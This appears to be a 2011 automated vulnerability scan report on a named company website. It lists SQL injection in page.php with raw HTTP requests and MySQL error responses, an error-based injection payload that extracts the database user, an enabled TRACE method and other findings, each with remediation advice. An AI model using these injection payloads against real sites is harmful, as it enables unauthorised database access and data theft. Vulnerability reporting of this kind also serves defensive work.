SQL Injection, SQLi, DORK, CWE-89, CAPEC-66, www.bluestarfibres.com

CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Report generated by XSS.CX at Tue Mar 08 07:58:24 CST 2011.


The DORK Report

Loading

1. SQL injection

1.1. http://www.bluestarfibres.com/page.php [name of an arbitrarily supplied request parameter]

1.2. http://www.bluestarfibres.com/page.php [path parameter]

2. SQL statement in request parameter

3. Cross-domain Referer leakage

4. TRACE method is enabled

5. Email addresses disclosed

6. HTML does not specify charset



1. SQL injection  next
There are 2 instances of this issue:

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Remediation background

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:



1.1. http://www.bluestarfibres.com/page.php [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bluestarfibres.com
Path:   /page.php

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /page.php?path=his/1'tory HTTP/1.1
Host: www.bluestarfibres.com
Proxy-Connection: keep-alive
Referer: http://bluestarfibres.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 1

HTTP/1.1 200 OK
Date: Tue, 08 Mar 2011 12:07:02 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Content-Type: text/html
Content-Length: 255

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'tory' AND published ='Y' LIMIT 1' at line 1<br />SELECT * FROM pa
...[SNIP]...

Request 2

GET /page.php?path=his/1''tory HTTP/1.1
Host: www.bluestarfibres.com
Proxy-Connection: keep-alive
Referer: http://bluestarfibres.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 302
Date: Tue, 08 Mar 2011 12:07:02 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Location: /404.php
Content-Type: text/html
Content-Length: 0


1.2. http://www.bluestarfibres.com/page.php [path parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bluestarfibres.com
Path:   /page.php

Issue detail

The path parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the path parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /page.php?path=history' HTTP/1.1
Host: www.bluestarfibres.com
Proxy-Connection: keep-alive
Referer: http://bluestarfibres.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 1

HTTP/1.1 200 OK
Date: Tue, 08 Mar 2011 12:06:54 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Content-Type: text/html
Content-Length: 231

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Y' LIMIT 1' at line 1<br />SELECT * FROM page WHERE path = 'histo
...[SNIP]...

Request 2

GET /page.php?path=history'' HTTP/1.1
Host: www.bluestarfibres.com
Proxy-Connection: keep-alive
Referer: http://bluestarfibres.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 302
Date: Tue, 08 Mar 2011 12:06:54 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Location: /404.php
Content-Type: text/html
Content-Length: 0


2. SQL statement in request parameter  previous  next

Summary

Severity:   Medium
Confidence:   Tentative
Host:   http://www.bluestarfibres.com
Path:   /page.php

Issue description

The request appears to contain SQL syntax. If this is incorporated into a SQL query and executed by the server, then the application is almost certainly vulnerable to SQL injection.

You should verify whether the request contains a genuine SQL query and whether this is being executed by the server.

Issue remediation

The application should not incorporate any user-controllable data directly into SQL queries. Parameterised queries (also known as prepared statements) should be used to safely insert data into predefined queries. In no circumstances should users be able to control or modify the structure of the SQL query itself.

Request

GET /page.php?path='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2C(SELECT%20user())%2CCHAR(95)%2CCHAR(33)%2CCHAR(64))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&print=true HTTP/1.1
Referer: http://www.bluestarfibres.com/page.php?path=history
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: www.bluestarfibres.com
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive

Response

HTTP/1.0 302
Date: Tue, 08 Mar 2011 12:15:08 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Location: /404.php
Connection: close
Content-Type: text/html


3. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bluestarfibres.com
Path:   /page.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /page.php?path=history HTTP/1.1
Host: www.bluestarfibres.com
Proxy-Connection: keep-alive
Referer: http://bluestarfibres.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 08 Mar 2011 12:06:47 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Content-Type: text/html
Content-Length: 4429

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<base href="http://www.blue
...[SNIP]...
<p class="text">In April 2007 <a href="http://www.techabsorbents.com">Technical Absorbents Ltd</a>
...[SNIP]...

4. TRACE method is enabled  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bluestarfibres.com
Path:   /

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: www.bluestarfibres.com
Cookie: c676775eb0b0fcb8

Response

HTTP/1.1 200 OK
Date: Tue, 08 Mar 2011 12:06:47 GMT
Server: Apache
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Cookie: c676775eb0b0fcb8
Host: www.bluestarfibres.com


5. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bluestarfibres.com
Path:   /page.php

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /page.php?path=contact-us HTTP/1.1
Host: www.bluestarfibres.com
Proxy-Connection: keep-alive
Referer: http://www.bluestarfibres.com/page.php?path=history
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 08 Mar 2011 12:08:05 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Content-Type: text/html
Content-Length: 3220

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<base href="http://www.blue
...[SNIP]...
<a href="mailto:enquiries@bluestarfibres.com">enquiries@bluestarfibres.com</a>
...[SNIP]...

6. HTML does not specify charset  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bluestarfibres.com
Path:   /favicon.ico

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET /favicon.ico HTTP/1.1
Host: www.bluestarfibres.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Tue, 08 Mar 2011 12:06:50 GMT
Server: Apache
Last-Modified: Wed, 24 Nov 2010 10:13:25 GMT
ETag: "28be87-d0-4cece545"
Accept-Ranges: bytes
Content-Length: 208
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.
</body>
...[SNIP]...

Report generated by XSS.CX at Tue Mar 08 07:58:24 CST 2011.